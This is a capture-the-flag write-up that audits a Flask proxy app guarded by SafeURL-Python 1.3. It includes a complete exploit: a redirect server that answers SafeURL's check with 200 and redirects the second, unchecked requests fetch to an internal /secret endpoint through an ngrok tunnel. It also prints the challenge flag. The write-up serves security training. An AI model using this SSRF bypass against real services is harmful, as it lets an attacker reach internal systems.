Challenge Info

Spoiler
Synopsis: find and exploit an SSRF bug through source code auditing.

Saturn corp just launched their new proxy service. According to them, they have made sure their proxy service contains no security issues as they have implemented decent security measures with up to date components.

Artifacts Provided

  • Application source — Flask app (app.py, templates, requirements.txt), Dockerfile and supervisord.conf
  • Live web instance — http://VICTIM-IP:PORT

Analysis

Reconnaissance

The site is a proxy: we submit a URL and the page behind it is shown in an iframe. app.py has two routes:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        url = request.form['url']
        try:
            su = safeurl.SafeURL()
            opt = safeurl.Options()
            opt.enableFollowLocation().setFollowLocationLimit(0)
            su.setOptions(opt)
            su.execute(url)
        except:
            return render_template('index.html', error=f"Malicious input detected.")
        r = requests.get(url)
        return render_template('index.html', result=r.text)
    return render_template('index.html')


@app.route('/secret')
def secret():
    if request.remote_addr == '127.0.0.1':
        [...]
        return render_template('secret.html', SECRET=flag)
    else:
        return render_template('forbidden.html'), 403

The goal is clear: make the server request /secret from itself. Two things stand out:

  • The URL is checked by SafeURL and then fetched a second time by plain requests.get(url), which validates nothing.
  • The pinned versions are current, so there is no known-CVE route:
1
2
3
4
5
Flask==3.0.0
gunicorn==21.2.0
requests==2.31.0
SafeURL-Python==1.3
Werkzeug==3.0.1

supervisord.conf runs python3 /app/app.py, so gunicorn is not used and Flask listens directly on the app.run port, 1337:

1
2
[program:express]
command=python3 /app/app.py
Tip
gunicorn in requirements.txt suggests the app might be served on port 80, which would make a DNS rebinding service viable. supervisord.conf rules that out here: the app runs with app.run on 1337, and a URL without an explicit port can only reach 80.

SafeURL Behaviour

Reading the library source (safeurl.py, version 1.3) shows three things that decide the approach.

1. setFollowLocationLimit(0) does not disable redirects. In execute(), a limit of 0 means unlimited, and every redirect target goes through validateUrl again:

1
2
3
4
5
6
7
8
while True:
    url = Url.validateUrl(url, self._options)
    [...]
    if statuscode in [301, 302, 303, 307, 308]:
        redirectCount += 1
        if redirectLimit == 0 or redirectCount < redirectLimit:
            url = self._handle.getinfo(pycurl.REDIRECT_URL)
            redirected = True

A server that redirects to 127.0.0.1 is therefore caught by SafeURL itself. A static redirect (a URL shortener or a redirect service) cannot work.

2. Ports. The default whitelist is ["80", "443", "8080"] (strings), and validatePort checks the integer parsed from the URL against it. A local test against SafeURL 1.3 rejected an explicit :8080 with InvalidPortException. The submitted URL must carry no port, and SafeURL’s redirect hops cannot target :1337 either.

3. Two independent fetches. SafeURL fetches the URL with pycurl, and requests.get(url) then fetches it again. The second fetch follows redirects without any validation. Their User-Agents differ, so a server can tell them apart.

Tip
Dead ends, all ruled out by the points above rather than tried against the instance: a static Location redirect (SafeURL follows and validates every hop), DNS rebinding (the instance listens on 1337, and an explicit port is rejected), and the usual SSRF payload lists (the blacklist covers 127.0.0.0/8, 10/8, 172.16/12, 192.168/16, 169.254/16 and others).

Exploitation

The plan: a server of ours answers SafeURL’s request with a plain 200 and answers the requests fetch with a redirect to the internal endpoint. The redirect has to include the port, http://127.0.0.1:1337/secret. That hop is not validated, because only requests follows it, and the request to /secret comes from the server itself, so remote_addr is 127.0.0.1.

We branch on the User-Agent header (pycurl sends PycURL/..., requests sends python-requests/...):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
from flask import Flask, request, redirect

app = Flask(__name__)

@app.route('/', defaults={'p': ''})
@app.route('/<path:p>')
def index(p):
    ua = request.headers.get('User-Agent', '')
    print(request.remote_addr, ua[:40], flush=True)
    if ua.startswith('python-requests'):
        return redirect('http://127.0.0.1:1337/secret', 302)
    return 'ok'

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

Tested first against SafeURL 1.3 locally: the server received one PycURL/... request answered with 200 and one python-requests/... request answered with 302, and the redirect reached the internal service.

The target has to reach our server, so we expose it with a tunnel. The tunnel URL has no explicit port, so it passes SafeURL’s port check:

1
2
sudo python3 redir.py
ngrok http 80

Submitting the https://<id>.ngrok-free.app URL in the form returns the /secret page with the flag.

Tip
First attempt: a DuckDNS name pointing at our home public IP, with python -m http.server 80 behind it. curl http://panathinaikos.duckdns.org/ returned curl: (52) Empty reply from server, and http.server logged nothing, so the request never reached our server. Exposing a home connection needs a port forward on the router, and a tunnel is simpler.
Tip
The official solution differs in three details. It uses localtunnel instead of ngrok. It switches on a request counter (first request answered with 200, every later one redirected) instead of the User-Agent, which breaks if the instance retries or hits the server twice. And its redirect target is http://127.0.0.1/secret, because its app.py listens on port 80. Our instance’s app.py listens on 1337, so the redirect needed :1337.
Spoiler
1
HTB{Expl01t1ng_ssrfs_f0r_fun}

Full Chain

  1. The app is a proxy. app.py shows /secret is only served to 127.0.0.1, and the submitted URL is checked by SafeURL-Python 1.3 before a second, unchecked requests.get(url).
  2. In SafeURL, setFollowLocationLimit(0) means unlimited redirects and each hop is re-validated, so a static redirect to 127.0.0.1 is blocked. An explicit port in the URL is rejected too.
  3. The two fetches are independent and have different User-Agents (PycURL/... and python-requests/...).
  4. A Flask server of ours returns 200 to the pycurl request and a 302 to http://127.0.0.1:1337/secret to the python-requests one, exposed through an ngrok tunnel (no explicit port).
  5. Submitting the tunnel URL: SafeURL sees a harmless page, then requests follows the redirect, /secret sees 127.0.0.1, and the flag comes back in the iframe.